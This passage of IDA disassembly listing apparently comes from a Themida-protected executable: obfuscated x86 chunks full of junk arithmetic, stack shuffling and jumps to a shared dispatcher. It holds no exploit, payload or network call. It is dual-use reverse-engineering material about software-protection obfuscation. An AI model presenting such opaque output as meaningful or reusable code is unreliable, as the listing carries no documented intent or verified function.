; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_5952CB:				; CODE XREF: Themida_:005961D3j
		mov	edi, 4EE23F6Eh
		and	edi, 58933693h
		neg	edi
		and	edi, 6936956h
		inc	edi
		sub	edi, 6114953h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5942AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D2AA


loc_5952F5:				; CODE XREF: sub_58D2AA+3D20j
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58D2AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59447B


loc_5952FE:				; CODE XREF: sub_59447B-3718j
		add	edx, 2
		xchg	edx, [esp+6+var_8+2]
		pop	esp
		idiv	cx
		push	small 5D15h
		jmp	loc_58D1D9
; END OF FUNCTION CHUNK	FOR sub_59447B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595311:				; CODE XREF: sub_596082-5EEEj
		pop	ebx
		jmp	loc_592850
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_595317:				; CODE XREF: sub_59425A-810Fj
		push	esi
		mov	esi, 16936008h
		and	esi, 8B42579h
		shl	esi, 7
		shl	esi, 7
		dec	esi
		xchg	edx, esi
		inc	edx
		xchg	edx, esi
		push	edi
		mov	edi, 801FFFCh
		sub	esi, 10235AE4h
		jmp	loc_5936B7
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_595340:				; CODE XREF: sub_593009+465Fj
		add	esp, 4
		add	eax, 4
		jmp	loc_58D3B6
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_595350:				; CODE XREF: Themida_:0058B999j
		sub	esi, 39801609h
		add	edx, esi
		jmp	loc_58CA21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59535D:				; CODE XREF: sub_58E66C+651Fj
		jz	loc_596EBF
		and	edx, 25655869h
		jo	loc_59500B
		sub	esp, 4
		mov	[esp+2+var_4+2], eax
		mov	eax, 1B238B5h
		add	eax, 0FEAE038Bh
		sub	edx, eax
		pop	eax
		jmp	sub_59729F
; END OF FUNCTION CHUNK	FOR sub_58E66C

; =============== S U B	R O U T	I N E =======================================



sub_595387	proc near		; CODE XREF: Themida_:00591720j
					; sub_5925A4-7C2j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058CABC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058DA21 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058F465 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597415 SIZE 00000016 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	esp
		jmp	loc_58CABC
sub_595387	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_595393:				; CODE XREF: sub_591C99-3B0j
		shr	ch, 1
		jp	loc_590A0D
		inc	ch
		jmp	loc_58D4E1
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_5953A2:				; CODE XREF: Themida_:00596902j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_58B3CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_5953AF:				; CODE XREF: sub_5F45E7-611D5j
		mov	ah, 55h
		jmp	loc_595F8F
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_5953B6:				; CODE XREF: Themida_:00594BB8j
		xor	ebp, 60C30A33h
		neg	ebp
		jmp	loc_59675C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_58A4F0

; =============== S U B	R O U T	I N E =======================================



sub_5953D2	proc near		; CODE XREF: sub_596082:loc_58C99Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00590928 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00592E1C SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005958FC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596303 SIZE 0000001D BYTES

		push	ebx
		mov	ebx, 3EDA1533h
		shr	ebx, 5
		push	eax
		mov	eax, 405A1C1Bh
		jmp	loc_596303
sub_5953D2	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	45EDh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ecx
		mov	ecx, 3C0A33C9h
		jmp	loc_58CBA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_595423:				; CODE XREF: sub_58E66C-278Ej
		add	edi, 4
		push	esi
		push	ecx
		mov	ecx, 2
		mov	esi, ecx
		jmp	loc_5944B2
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_595437:				; CODE XREF: Themida_:00591E0Cj
		add	ebx, 4
		jmp	loc_595F02
; ---------------------------------------------------------------------------


loc_595442:				; CODE XREF: Themida_:0058AB88j
		sub	eax, 0ADAC36E3h
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		push	ecx
		mov	ecx, 7C8B1A04h
		sub	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	edx, edi
		add	edx, 7C8B1A04h
		push	dword ptr [esp]
		jmp	loc_58C4E7
; ---------------------------------------------------------------------------


loc_595477:				; CODE XREF: Themida_:00590BEFj
		xor	al, dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58ED15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595484:				; CODE XREF: sub_596082-6E2Aj
		sub	[esp+14h+var_14], 531977CAh
		pop	ecx
		jmp	loc_58FFFC
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_595491:				; CODE XREF: Themida_:005901A1j
		mov	[esp], cx
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB60


loc_59549A:				; CODE XREF: sub_58DB60+14j
		add	[esp+4], esi
		pop	esi
		mov	ecx, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58CE3D
; END OF FUNCTION CHUNK	FOR sub_58DB60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5954B3:				; CODE XREF: sub_58E66C+8CF9j
		sub	ch, al
		pop	eax
		sub	al, ch
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_58C67E
; ---------------------------------------------------------------------------


loc_5954C0:				; CODE XREF: sub_58E66C+4D2Bj
		pop	ebp
		add	esp, 4
		push	esi
		jmp	loc_58FEFF
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_5954CD:				; CODE XREF: sub_58B09E+2869j
		jmp	loc_5936A1
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_5954D2:				; CODE XREF: sub_58A5F7+2A6Cj
		add	esp, 4
		jmp	loc_59070D
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------


loc_5954DD:				; CODE XREF: Themida_:005910A2j
		add	ebp, esi
		jmp	loc_596A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_5954E4:				; CODE XREF: sub_58E91C+41Fj
		push	edi
		mov	edi, 6E426DA9h
		xor	[esp-4+arg_4], edi
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		pop	ecx
		push	esi
		mov	esi, 2174519h
		neg	esi
		dec	esi
		shl	esi, 5
		sub	esi, 44A362FCh
		add	esi, 0F5CE73E5h
		jmp	loc_5911A9
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------


loc_595515:				; CODE XREF: Themida_:00592E9Dj
		sub	ebp, 645450EAh
		add	ebp, 371951C6h
		sub	eax, ebp
		jmp	loc_590AA6
; ---------------------------------------------------------------------------


loc_595528:				; CODE XREF: Themida_:0058EE17j
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_595535:				; CODE XREF: Themida_:loc_58BD25j
		and	edx, 393B38B7h
		sub	edx, 132EFE1Fh
		add	eax, edx
		jmp	loc_5976FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_595548:				; CODE XREF: sub_5F45E7-62D7Fj
		mov	esp, [esp+28h+var_28]
		movzx	ecx, ax
		push	5328h
		mov	[esp+2Ch+var_2C], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_595EC6
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_595564:				; CODE XREF: sub_59425A+4B0j
		mov	[esp+4+var_4], esi
		mov	esi, esp
		jmp	loc_58D455
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_59556E:				; CODE XREF: sub_593009-7C58j
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_595573:				; CODE XREF: sub_590B23-1083j
		push	eax
		jmp	sub_594299
; END OF FUNCTION CHUNK	FOR sub_590B23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592646


loc_595579:				; CODE XREF: sub_592646-6A89j
		add	bl, dh
		pop	edx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	281Ch
		mov	[esp+4+var_4], eax
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_592646
; ---------------------------------------------------------------------------


loc_59558F:				; CODE XREF: Themida_:0058E415j
		mov	edx, 48A31DBCh
		mov	ebp, edx
		jmp	loc_58B1C8
; ---------------------------------------------------------------------------


loc_59559B:				; CODE XREF: Themida_:0058C544j
		mov	ebp, 276A7A62h
		push	ebp
		push	ebx
		pop	ebp
		pop	ebx
		not	ebx
		xchg	ebx, ebp
		push	edi
		jmp	loc_596E19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5955AE:				; CODE XREF: Themida_:0058B649j
					; sub_596082-54D3j
		jmp	loc_58C95F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_5955B3:				; CODE XREF: sub_594EC6-66BFj
		push	esp
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	eax, 4
		jmp	loc_58CFFD
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BFA


loc_5955C7:				; CODE XREF: sub_595BFA+6j
		mov	[esp-0Eh+arg_8+2], eax
		jmp	loc_591912
; END OF FUNCTION CHUNK	FOR sub_595BFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5955CF:				; CODE XREF: sub_596082:loc_593A54j
					; sub_595DFE+1j
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		xor	edx, [esp+8+var_8]
		xor	[esp+8+var_8], edx
		xor	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_5927ED
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5955F0:				; CODE XREF: sub_58E66C-907j
		dec	eax
		sub	eax, 1AD06590h
		jmp	loc_58AFDE
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5955FB:				; CODE XREF: Themida_:0058A9DFj
		mov	esi, 2A32599Fh
		jmp	loc_58E064
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_595605:				; CODE XREF: sub_58E66C+1EDCj
		push	[esp+10h+var_10]
		jmp	loc_58D94A
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_59560D:				; CODE XREF: Themida_:0058EEF5j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		mov	ecx, 616E1BC0h
		jmp	loc_592835
; ---------------------------------------------------------------------------


loc_595627:				; CODE XREF: Themida_:0058C25Ej
		push	edx
		mov	edx, 632776EAh
		mov	ebp, edx
		jmp	loc_597202
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_595634:				; CODE XREF: sub_58E66C-1840j
					; Themida_:00592B51j
		sub	ebx, 5F186DF8h
		mov	ecx, [ebx]
		push	[esp+8+var_8]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		add	ebx, ecx
		pop	ecx
		push	eax
		mov	eax, 4
		sub	ebx, eax
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		xchg	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, edi
		mov	edx, ebx
		mov	ebx, [esp+0Ch+var_C]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_5940D8
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_595698:				; CODE XREF: sub_590B23+Fj
		pop	ebx
		jmp	loc_590A5B
; END OF FUNCTION CHUNK	FOR sub_590B23

; =============== S U B	R O U T	I N E =======================================



sub_59569E	proc near		; CODE XREF: sub_590B23+2FFDj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058E936 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593A5F SIZE 0000000E BYTES

		push	ebx
		jmp	loc_58E936
sub_59569E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_5956A4:				; CODE XREF: sub_59236E+1Aj
		pop	esp
		mov	[esp+0], ecx
		jmp	loc_590DB2
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5956AD:				; CODE XREF: sub_58E66C+2BF5j
		shl	esi, 5
		xor	esi, 0B8F0666h
		or	esi, 3ACD1453h
		add	esi, 7AC4596Fh
		sub	ebp, esi
		pop	esi
		push	edi
		mov	edi, ebp
		jmp	loc_592582
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5956CD:				; CODE XREF: Themida_:0058E7E4j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 659F3927h
		xor	ebx, 659F3923h
		add	edi, ebx
		pop	ebx
		add	edi, 2
		push	1FD8h
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5975E3
; ---------------------------------------------------------------------------


loc_5956FF:				; CODE XREF: Themida_:0059125Bj
		mov	ebx, eax
		pop	eax
		jmp	loc_595766
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_595707:				; CODE XREF: sub_593009+7A1j
		or	ecx, 72582710h
		jno	loc_59637A
		dec	ecx
		jns	loc_58D74A
		mov	ah, 19h
		push	esi


loc_59571E:				; CODE XREF: sub_58D6A0-2042j
		push	ebp
		mov	ebp, 2A281C41h
		mov	ebx, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_58BBAC
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595732:				; CODE XREF: sub_596082+4C6j
		pop	eax
		sub	esp, 4
		mov	[esp+8+var_8], edx
		push	esp
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59576E
; ---------------------------------------------------------------------------


loc_595745:				; CODE XREF: sub_596082-84C7j
		sub	edi, eax
		pop	eax
		mov	ecx, edi
		pop	edi
		push	edx
		jmp	loc_58A76C
; ---------------------------------------------------------------------------


loc_595751:				; CODE XREF: sub_596082-7B75j
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_59575C:				; CODE XREF: sub_5F45E7-5E163j
		add	bl, dh
		sub	bl, 0A9h
		jmp	loc_591B25
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_595766:				; CODE XREF: Themida_:00595702j
		push	ebp
		mov	ebp, ebx
		jmp	loc_58F35F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59576E:				; CODE XREF: sub_596082-942j
		add	edx, 4
		jmp	sub_58D966
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_595779:				; CODE XREF: Themida_:0058D4DCj
		sub	ebp, 22920E26h
		sub	esi, ebp
		pop	ebp
		sub	esi, 7922603Dh
		jns	loc_58F39E
		add	esi, 47964AD6h
		push	ebx
		mov	ebx, 2CB4400h
		add	esi, ebx
		mov	ebx, [esp]
		jmp	sub_58AE7C
; ---------------------------------------------------------------------------


loc_5957A4:				; CODE XREF: Themida_:00591FBEj
		js	loc_59339C
		push	edi
		push	edx
		mov	edx, 4818376Ah
		mov	edi, edx
		pop	edx
		inc	edi
		push	ebp
		mov	esi, ebx


loc_5957B8:				; CODE XREF: Themida_:0058ACE0j
		add	ebx, ebp
		sub	ebx, 5AA71E27h
		mov	ebp, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5959B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5957D4:				; CODE XREF: sub_596082-1064j
		inc	edi
		jz	loc_593518
		push	esi
		mov	esi, 521C1848h
		xor	edi, esi
		pop	esi
		shl	edi, 6
		jmp	loc_594102
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5957EC:				; CODE XREF: Themida_:00591C82j
		sub	esp, 4
		jmp	loc_597650
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_5957F4:				; CODE XREF: sub_5925A4+5144j
		sub	al, bl
		add	al, 0C4h
		pop	bx
		sub	al, 8Eh
		add	al, bl
		add	al, 8Eh
		push	9E6h
		mov	[esp], ebx
		mov	bl, 90h
		inc	bl
		sub	bl, 50h
		add	al, bl
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 62h
		sub	dl, 1
		jmp	loc_58E7AE
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_595822:				; CODE XREF: sub_58E91C+1703j
		pop	eax
		shr	ecx, 7
		push	edx
		push	ebx
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, 5B991F99h
		jmp	loc_591D66
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592A4E


loc_595838:				; CODE XREF: sub_592A4E-45FFj
		pop	ecx
		mov	[edi+38h], bl
		push	dword ptr [esp+0]
		push	[esp-8+arg_4]
		pop	ebx
		add	esp, 4
		jmp	loc_58D0D0
; END OF FUNCTION CHUNK	FOR sub_592A4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_59584B:				; CODE XREF: sub_596B50-8B0Cj
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_58D656
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_595854:				; CODE XREF: sub_58F160-44j
		pop	ebx
		add	ebx, eax
		pop	eax
		jmp	loc_58D716
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_59585D:				; CODE XREF: Themida_:00590E9Bj
		pop	ecx
		push	edi
		mov	edi, 5E1D14D6h
		neg	edi
		xor	edi, 0DF14DAEh
		not	edi
		jmp	loc_592663
; ---------------------------------------------------------------------------


loc_595873:				; CODE XREF: Themida_:00593897j
		pop	ebp
		xor	edi, 0F394370Fh
		sub	eax, 30ED77A6h
		add	eax, 70A67F05h
		sub	eax, edi
		sub	eax, 70A67F05h
		add	eax, 30ED77A6h
		pop	edi
		push	ecx
		mov	ecx, 5EF440B5h
		jmp	loc_595E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_59589C:				; CODE XREF: sub_596B50+8j
		pop	ebx
		jmp	loc_58E8BC
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------


loc_5958A2:				; CODE XREF: Themida_:0058FADDj
		add	ebp, 4185508h
		add	ebp, edx
		sub	ebp, 4185508h
		jmp	loc_590849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_5958B5:				; CODE XREF: sub_58F160-3547j
					; Themida_:0058CA93j
		mov	ecx, [esp+2+var_4+2]
		add	esp, 4
		add	dh, 7Ch
		or	dh, 70h
		push	eax
		mov	ah, 0F3h
		shr	ah, 8
		neg	ah
		sub	ah, 83h
		add	dh, ah
		jmp	loc_5936C6
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_5958D3:				; CODE XREF: Themida_:0058A83Fj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	28F5h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_58CCB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5953D2


loc_5958FC:				; CODE XREF: sub_5953D2-2585j
		mov	edx, 45B9657Dh
		shr	edx, 8
		and	edx, 790F0196h
		jmp	sub_58A5F7
; END OF FUNCTION CHUNK	FOR sub_5953D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E350


loc_59590F:				; CODE XREF: sub_58E350+23j
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58E350
; ---------------------------------------------------------------------------


loc_595914:				; CODE XREF: Themida_:0058AFA3j
		push	ebx
		mov	ebx, 785A70FDh
		shr	ebx, 6
		add	ebx, 0FFFFFFFFh
		add	ebx, 0FE1E9642h
		add	ebp, ebx
		pop	ebx
		jmp	loc_591B82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59592E:				; CODE XREF: sub_596082:loc_58FEDEj
		and	ebx, 7D6D633Dh
		jmp	loc_593A54
; ---------------------------------------------------------------------------


loc_595939:				; CODE XREF: sub_596082+142j
		add	edi, 4
		jmp	sub_5902CA
; ---------------------------------------------------------------------------


loc_595944:				; CODE XREF: Themida_:0058A5E1j
					; sub_596082-A0BCj
		add	ecx, 858A6068h
		jmp	loc_591578
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_59594F:				; CODE XREF: sub_593009-5F6Fj
		mov	ecx, 2Ch
		add	ecx, 387E6EB7h
		add	ecx, edi
		sub	ecx, 387E6EB7h
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_58EE5F
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_59596D:				; CODE XREF: Themida_:0058EBA4j
		add	edi, ebx
		jmp	loc_591AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_595974:				; CODE XREF: sub_594F3F-220Bj
		sub	esi, 493578EFh
		pop	edi
		jmp	loc_58AD45
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_595980:				; CODE XREF: Themida_:0058DEEAj
		sub	ecx, 1
		add	ecx, 617D603Fh
		and	ecx, 724C6B8Bh
		inc	ecx
		push	ebx
		push	edx
		jmp	loc_58FB20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59599A:				; CODE XREF: sub_596082-66F9j
		mov	ebp, ebx
		mov	edx, ebp
		pop	ebp
		jmp	loc_58F562
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5959A4:				; CODE XREF: Themida_:005937A4j
		sub	ax, cx
		sub	ax, 763Eh
		jmp	loc_58A724
; ---------------------------------------------------------------------------


loc_5959B0:				; CODE XREF: Themida_:005957CFj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_58BF1E
; ---------------------------------------------------------------------------


loc_5959BE:				; CODE XREF: Themida_:00591D10j
		mov	ecx, 2F074B45h
		jmp	loc_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_5959C8:				; CODE XREF: sub_58E91C-22A3j
		and	eax, ebp
		mov	ebp, [esp-8+arg_4]
		jmp	loc_59360E
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5959D2:				; CODE XREF: sub_596082-AF40j
		mov	edx, 7DC3389Bh
		sub	[esp+arg_0], edx
		pop	edx
		push	[esp-4+arg_0]
		pop	ecx
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	562A6A20h
		pop	ebx
		sub	ebx, 0FFFFFFFFh
		jmp	loc_59730D
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5959FF:				; CODE XREF: Themida_:00591F5Ej
		mov	esp, [esp]
		jmp	loc_591AA8
; ---------------------------------------------------------------------------


loc_595A07:				; CODE XREF: Themida_:00592115j
		push	edi
		push	22E45718h
		mov	edi, [esp]
		add	esp, 4
		dec	edi
		jno	loc_58F78C
		xor	edi, 22E45713h
		mov	ebp, edi
		pop	edi
		add	eax, ebp
		pop	ebp
		mov	bh, 13h


loc_595A2B:				; CODE XREF: Themida_:00593734j
		add	ecx, 17EE0304h
		jmp	loc_59509C
; ---------------------------------------------------------------------------


loc_595A36:				; CODE XREF: Themida_:00593696j
		pop	esi
		push	4932h
		jmp	loc_591625
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_591D94
; ---------------------------------------------------------------------------


loc_595A4D:				; CODE XREF: Themida_:0058D9BBj
		mov	ebx, 0AFA78EBh
		sub	eax, ebx
		pop	ebx
		jmp	loc_58CFB5
; ---------------------------------------------------------------------------


loc_595A5A:				; CODE XREF: Themida_:005972EEj
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_595A5F:				; CODE XREF: Themida_:00593AABj
		mov	edx, 4
		mov	esi, edx
		pop	edx
		add	dword ptr [esp+4], 49E669A1h
		add	[esp+4], esi
		sub	dword ptr [esp+4], 49E669A1h
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	32E9h
		mov	[esp], eax
		mov	eax, 4
		sub	dword ptr [esp+4], 66636B68h
		add	dword ptr [esp+4], 2A9520E3h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 2A9520E3h
		jmp	loc_58C1AC
; ---------------------------------------------------------------------------


loc_595AB2:				; CODE XREF: Themida_:00590B4Fj
		jmp	loc_58D8D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595AB7:				; CODE XREF: sub_596082-969Aj
		pop	eax
		jmp	loc_58CB7A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	6964h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_5935E9
; ---------------------------------------------------------------------------


loc_595AD6:				; CODE XREF: Themida_:00593AF4j
		add	edx, edi
		jmp	loc_591F51
; ---------------------------------------------------------------------------


loc_595ADD:				; CODE XREF: Themida_:0058DC75j
		push	3FCEh
		mov	[esp], esi
		push	edx
		mov	edx, 2E3C3F6Ch
		jmp	loc_58B71C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_595AF0:				; CODE XREF: sub_593009-87BDj
		sub	eax, 0E626D1B5h
		add	eax, edi
		jmp	loc_58ABB7
